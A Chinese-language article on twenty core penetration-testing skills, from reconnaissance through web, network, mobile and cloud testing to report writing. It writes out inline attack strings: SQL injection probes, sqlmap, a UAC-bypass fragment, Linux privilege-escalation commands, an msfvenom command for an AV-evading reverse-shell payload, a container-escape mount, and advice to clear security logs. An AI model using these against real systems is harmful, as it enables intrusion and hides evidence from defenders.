渗透测试工程师作为 “白帽黑客”,通过模拟攻击者视角挖掘系统漏洞,是守护网络安全的核心力量。以下 20 个核心技能,不仅是从业者完成工作的必备能力,更是简历中吸引企业 HR 的关键亮点,覆盖从信息收集到报告输出的全流程。
一、信息收集与侦察技能
(一)主动 / 被动信息收集精通
信息收集是渗透测试的起点,直接决定后续测试方向的准确性。被动收集需熟练运用公开情报源,比如通过 WHOIS 查询域名注册信息(含联系人、注册时间)、DNS 解析记录(A 记录、MX 记录)获取服务器 IP;借助 Google Hacking 语法(如 “site:target.com filetype:pdf”)挖掘目标公开文档、后台地址。主动收集则需在授权范围内,通过 ping、traceroute 测试目标网络连通性,最终整合所有信息,构建目标的网络拓扑、资产清单(如 Web 服务器、移动端应用)及人员信息(如员工邮箱),形成完整的目标画像。
(二)网络扫描与端口服务识别
端口和服务是系统与外界交互的 “窗口”,也是漏洞的高发区。需熟练操作 Nmap、Masscan 等主流扫描工具:Masscan 适合大规模网段的快速扫描(如 10 分钟扫完全网),适合初步定位存活主机;Nmap 则支持精细化扫描,比如用 “-sS” 半开扫描(不建立完整 TCP 连接,降低被检测概率)、“-p 1-65535” 全端口扫描,精准识别开放端口及对应服务(如 80 端口对应 HTTP、3389 端口对应 RDP)。同时要能根据场景选择策略,比如对防护严格的目标,需降低扫描频率、拆分扫描网段,避免触发 IDS/IPS 告警。
(三)Web 应用指纹识别与架构分析
Web 应用的技术栈直接关联潜在漏洞类型,比如使用 ThinkPHP 框架可能存在远程代码执行漏洞,用 MySQL 数据库需关注 SQL 注入风险。需借助 Wappalyzer(浏览器插件)、WhatWeb(命令行工具)识别服务器类型(如 Nginx、Apache)、后端框架(如 SpringBoot、Django)、数据库(如 MySQL、MongoDB)及前端技术(如 Vue、React)。同时要结合手动分析,比如查看 HTTP 响应头的 “Server” 字段、页面源码中的框架版本注释,进一步确认技术栈细节,为后续漏洞挖掘划定范围。
二、Web 应用渗透测试技能
(一)OWASP Top 10 漏洞深度理解与实战利用
OWASP Top 10 是 Web 应用漏洞的 “风向标”,包含 SQL 注入、跨站脚本(XSS)、文件上传等高频漏洞。需深入理解漏洞原理:比如 SQL 注入是因用户输入未过滤,导致恶意 SQL 语句被执行;XSS 是因前端未对用户输入转义,导致恶意脚本在浏览器运行。实战中要能手动检测,比如在输入框输入 “' and 1=1--” 判断是否存在 SQL 注入;用 sqlmap 工具(如 “sqlmap -u "url" --dbs”)自动化提取数据库信息;对 XSS 漏洞,需区分存储型(注入脚本存入数据库,影响所有访问者)和反射型(脚本仅在当前请求生效),并验证漏洞的可利用性(如获取 Cookie、执行钓鱼操作)。
(二)Burp Suite / OWASP ZAP 高级应用
Burp Suite 是 Web 渗透的 “瑞士军刀”,需熟练掌握核心模块:代理(Proxy)用于拦截 HTTP/HTTPS 请求,查看请求包细节; Intruder 用于批量爆破(如登录密码、API 密钥),支持字典模式、集群炸弹模式;Repeater 用于重复发送请求,微调参数测试漏洞(如修改权限 ID 判断是否越权)。同时要会安装配置插件,比如 Active Scan++ 增强自动化扫描能力、J2EEScan 针对 Java 应用漏洞检测;能自定义扫描规则,比如添加特定参数的注入检测逻辑,提升测试效率。OWASP ZAP 作为开源替代工具,需掌握其主动扫描、被动扫描配置,适合预算有限的场景。
(三)现代 Web API 渗透测试能力
随着前后端分离架构普及,API 成为 Web 应用的核心交互方式,常见的有 RESTful API(基于 HTTP 方法,如 GET 获取、POST 提交)和 GraphQL API(按需返回数据,单端点多查询)。测试中需先枚举端点,通过查看 API 文档(如 Swagger)、抓包分析请求(如拦截前端调用 API 的请求),梳理所有接口及参数。重点测试身份认证(如 Token 是否过期、是否可伪造)、权限控制(如普通用户能否访问管理员接口)、参数验证(如传入特殊字符是否触发注入漏洞),比如修改 API 请求中的 “user_id” 参数,判断是否能查看其他用户数据。
(四)前端安全漏洞挖掘
现代前端框架(Vue、React)虽降低了部分漏洞风险,但仍存在特定安全问题。需熟悉框架特性:比如 Vue 的 “v-text” 指令会转义输入,可避免 XSS,但 “v-html” 会渲染 HTML,可能引入存储型 XSS;React 的 JSX 语法默认转义,但使用 “dangerouslySetInnerHTML” 会关闭转义。同时要关注前端逻辑漏洞,比如登录页面的 “记住密码” 功能是否明文存储密码、分页功能是否可通过修改 “page” 参数越权查看所有数据;挖掘 DOM 型 XSS(因 DOM 操作导致的 XSS,如通过 URL 参数控制页面元素内容),需结合浏览器开发者工具,分析 JavaScript 代码对用户输入的处理逻辑。
(五)内容安全策略审计与绕过
内容安全策略(CSP)是 Web 应用的 “防护盾”,通过 HTTP 响应头指定允许加载的资源来源(如脚本、图片),限制恶意脚本执行。审计时需查看响应头的 “Content-Security-Policy” 字段,判断是否存在配置缺陷,比如允许 “*”(任意域名)加载脚本,或未限制 “inline-script”(内联脚本),导致 CSP 失效。同时要掌握常见绕过技巧,比如利用 CSP 中未限制的可信域名(如信任 “cdn.target.com”,但该域名存在文件上传漏洞,可上传恶意脚本)、通过数据 URI(如 “data:text/javascript;base64,...”)执行内联脚本,验证 CSP 的实际防护效果。
三、网络与系统层渗透技能
(一)常见服务漏洞利用
服务器的开放服务(SMB、RDP、FTP)是网络渗透的重要入口,需熟悉高频漏洞:比如 SMB 服务的 “永恒之蓝” 漏洞(MS17-010),可通过发送特定数据包触发缓冲区溢出,获取系统权限;RDP 服务的 “BlueKeep” 漏洞(CVE-2019-0708),无需认证即可远程执行代码。实战中要能手动构造 payload,比如用 Python 编写永恒之蓝漏洞利用脚本,或从 Exploit-DB(漏洞利用库)下载成熟 exp,同时需注意漏洞版本匹配,比如永恒之蓝仅影响 Windows 7、Windows Server 2008 等旧系统,需先确认目标系统版本再尝试利用。
(二)提权技术(Linux/Windows)
获取低权限账户后,提权是获取系统控制权的关键。Windows 系统中,需掌握经典提权手段:比如 “烂土豆”(Rotten Potato)提权,利用 COM 对象劫持,将低权限用户提升为 SYSTEM 权限;UAC 绕过(如通过 “cmd.exe/k % windir%system32reg.exe ADD ...” 修改注册表,绕过用户账户控制)。Linux 系统中,常见提权路径包括 SUID 提权(寻找具有 SUID 权限的可执行文件,如 “find /-perm -u=s -type f 2>/dev/null”,利用其特性执行命令)、sudo 配置缺陷(如 “sudo -l” 查看允许无密码执行的命令,若包含 “/bin/bash”,则可 “sudo bash” 提权)。提权后需理解根本原因,比如权限配置错误(管理员误给普通用户赋予高权限)、系统漏洞(如内核漏洞导致权限溢出),为后续修复提供依据。
(三)密码攻击技术
密码是系统防护的 “第一道门”,密码攻击需在授权范围内进行。首先要能识别常见哈希格式:比如 Windows 系统的 NTLM 哈希(存储在 SAM 文件中)、Linux 系统的 SHA-256 哈希(存储在 /etc/shadow 文件中)。然后用专业工具破解:John the Ripper 适合简单哈希破解,支持多格式;Hashcat 则支持 GPU 加速,适合复杂哈希(如带盐值的 SHA-256),可结合字典(如 rockyou.txt)、掩码策略(如 “?d?d?d?d” 匹配 4 位数字密码)提升破解成功率。同时要注意合规性,需提前获取客户授权,避免触犯法律。
(四)内网渗透基础
突破外网后,内网渗透的目标是横向移动(获取更多主机权限)和纵向深入(控制核心服务器)。需掌握关键技术:ARP 欺骗(发送伪造 ARP 数据包,让目标将攻击者主机当作网关,拦截内网流量)、ICMP 隧道(将内网数据封装在 ICMP 数据包中,突破防火墙限制,实现外网与内网通信)。工具方面,Cobalt Strike 适合团队协作,支持生成后门、管理会话、横向移动(如通过 Psexec 远程执行命令);Metasploit(MSF)则适合漏洞利用,比如用 “exploit/windows/smb/psexec” 模块通过 SMB 服务获取目标主机权限。同时要注意隐藏痕迹,比如清理日志(Windows 清理 “Security” 日志、Linux 清理 “/var/log/auth.log”),避免被内网安全设备发现。
四、编程与脚本技能
(一)Python 编程基础与渗透测试脚本开发
Python 因语法简洁、库丰富,成为渗透测试的首选语言。需掌握基础语法(变量、循环、条件判断),并能结合库开发实用脚本:比如用 requests 库编写 HTTP 请求脚本,批量检测目标网站是否存在 SQL 注入(循环发送测试 payload,判断响应是否异常);用 socket 库编写端口扫描脚本,实现对指定网段的端口存活检测;用 BeautifulSoup 库解析 HTML 页面,提取页面中的链接、表单信息。脚本开发能大幅提升效率,比如手动测试 100 个网站需数小时,用脚本可在几分钟内完成,同时能应对工具无法覆盖的场景(如自定义漏洞检测逻辑)。
(二)其他编程语言与脚本语言的辅助作用
除 Python 外,其他语言在特定场景下不可或缺。PHP 适合编写 Web 后门(如一句话木马 “”),方便后续维持对 Web 服务器的控制;Shell 脚本(Bash)适合 Linux 环境下的批量操作,比如编写脚本批量检查服务器的 SUID 文件、清理临时日志。同时需了解 Java、C#:Java 用于分析 Java 反序列化漏洞(如 Log4j 漏洞),需能阅读 Java 源码、理解序列化机制;C# 适合开发 Windows 平台的漏洞利用工具(如内存马),需熟悉.NET 框架特性。这些语言无需精通,但需能读懂代码、编写简单脚本,应对不同渗透场景。
五、漏洞研究与利用技能
(一)0day 漏洞研究与挖掘
0day 漏洞(未公开的漏洞)具有极高价值,能突破现有防护体系。需养成跟踪漏洞动态的习惯,关注 CVE Details(CVE 编号查询平台)、NVD(国家漏洞数据库)及安全厂商博客(如奇安信、火绒),及时获取 0day 漏洞的原理分析(如漏洞触发条件、影响版本)。同时要掌握基础挖掘方法,比如用 Fuzz 工具(AFL、LibFuzzer)对目标程序进行模糊测试,通过输入大量畸形数据,触发程序崩溃,进而定位漏洞;对 Web 应用,可通过代码审计(阅读开源项目源码)寻找逻辑漏洞(如权限校验缺失)。0day 漏洞挖掘难度大,但能显著提升渗透测试的成功率,尤其针对防护严密的目标。
(二)漏洞利用框架的高级使用
漏洞利用框架能简化漏洞利用流程,Metasploit 是最常用的框架。需掌握高级功能:自定义 payload(如用 msfvenom 生成免杀 payload,避免被杀毒软件检测,如 “msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -e x86/shikata_ga_nai -f exe -o payload.exe”);开发自定义模块(如针对新型漏洞,编写符合 Metasploit 规范的 exploit 模块,实现一键利用)。同时要能结合漏洞原理修改现有 exp,比如目标系统版本与 exp 适配版本略有差异,需调整 exp 中的内存地址、指令序列,确保漏洞利用成功。框架的高级使用能提升漏洞利用的灵活性,应对复杂的目标环境。
六、移动应用渗透测试技能
(一)Android 应用渗透测试要点
Android 应用的漏洞多源于代码逻辑缺陷和配置不当。需掌握基础工具链:用 Apktool 反编译 APK 文件(“apktool d app.apk”),获取应用的资源文件、smali 代码;用 JD-GUI(或 Fernflower)将 smali 代码转为 Java 源码,便于阅读逻辑;用 Android Studio 搭建调试环境,断点调试跟踪代码执行流程。测试重点包括:本地存储安全(如 SharedPreferences 是否明文存储密码、数据库文件是否未加密)、通信安全(如 HTTP 传输是否未加密,导致数据被窃听)、组件安全(如 Activity、Service 是否暴露,允许第三方应用调用)。比如发现应用的 Activity 未设置 “exported=false”,可编写测试应用调用该 Activity,越权获取数据。
(二)iOS 应用渗透测试要点
iOS 系统因封闭性,渗透测试需特定环境和工具。首先要搭建越狱环境(如用 unc0ver 工具越狱 iPhone),获取系统 root 权限;用 class-dump 工具(“class-dump -H app.ipa -o output”)提取应用的头文件,分析类结构和方法;用 Cycript(动态注入工具)在应用运行时查看内存数据、调用方法。测试重点关注:沙箱机制(应用是否突破沙箱限制,访问其他应用数据)、钥匙串存储(敏感信息如 Token 是否存入钥匙串,且未设置正确的访问权限)、权限滥用(如应用未申请相机权限却能调用相机)。同时要注意 iOS 版本差异,比如 iOS 14 后加强了隐私保护,部分旧漏洞(如沙箱逃逸)可能失效,需适配最新系统特性。
七、云安全与容器安全渗透技能
(一)云平台渗透测试(如 AWS、Azure 等)
云平台的漏洞多集中在配置不当和权限管理缺陷,需熟悉主流云平台架构:AWS 的 S3 存储桶(用于存储文件)、EC2 实例(云服务器)、IAM(身份访问管理);Azure 的 Blob 存储、虚拟机、AD(活动目录)。测试重点包括:存储桶安全(如 S3 存储桶是否设置公开访问权限,导致数据泄露,可通过 “aws s3 ls s3://bucket-name” 测试访问权限)、IAM 权限(如用户是否被赋予过多权限,可通过 “aws iam list-attached-user-policies --user-name username” 查看权限)、实例安全组(是否开放不必要的端口,如 3389、22)。同时要注意云平台的共享责任模型,明确客户和云厂商的安全责任,避免测试范围超出客户权限。
(二)容器安全渗透测试(如 Docker、Kubernetes)
容器技术的普及带来了新的安全风险,需理解容器原理:Docker 通过 Namespace 实现资源隔离、Cgroups 限制资源使用;Kubernetes 用于管理容器集群,包含 API Server、Controller Manager 等组件。测试重点包括:Docker 安全(如容器是否以 privileged 模式运行,允许容器逃逸到宿主机;镜像是否包含漏洞,可通过 Trivy 工具扫描镜像漏洞)、Kubernetes 安全(如 API Server 是否未授权访问,可通过 “kubectl get pods” 测试是否能匿名获取集群信息;配置文件是否泄露敏感信息,如 “kubeconfig” 文件包含集群访问凭证)。比如发现 privileged 模式运行的 Docker 容器,可在容器内执行 “mount /dev/sda1 /mnt”,挂载宿主机磁盘,实现容器逃逸。
八、安全评估与报告撰写技能
(一)安全评估方法与流程
安全评估需遵循标准化流程,确保测试全面、可控。首先要明确需求:与客户沟通测试范围(如单个 Web 应用、整个内网)、测试类型(黑盒、白盒、灰盒)、时间周期;然后进行资产梳理,通过信息收集列出所有待测试资产,并按重要性分级(如核心数据库为一级资产、普通办公电脑为三级资产);接着开展漏洞测试,按 “信息收集→漏洞挖掘→漏洞验证→权限提升” 的流程执行,记录每个漏洞的细节;最后进行风险分析,用定性(如高、中、低风险)或定量(如计算风险值 = 漏洞概率 × 影响程度)方法评估漏洞风险,确定修复优先级。
(二)高质量渗透测试报告撰写
报告是渗透测试的 “成果交付物”,需兼顾专业性和易懂性。结构需清晰:开头为测试概述(范围、方法、周期),中间为漏洞详情(每个漏洞需包含危害等级、影响资产、复现步骤、证明截图),结尾为修复建议(具体、可落地,如 “将 MySQL 数据库版本升级至 8.0,修复 SQL 注入漏洞”)和风险总结。内容需精准:复现步骤要详细,确保客户能按步骤重现漏洞;危害描述要客观,避免夸大(如 “该 SQL 注入漏洞可能导致数据库数据被窃取”,而非 “会导致企业破产”)。同时要考虑读者群体,对技术人员需提供漏洞原理、代码级修复建议;对非技术人员(如管理层)需用通俗语言解释漏洞影响(如 “该漏洞可能导致客户信息泄露,违反《网络安全法》”),帮助其理解修复的必要性。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...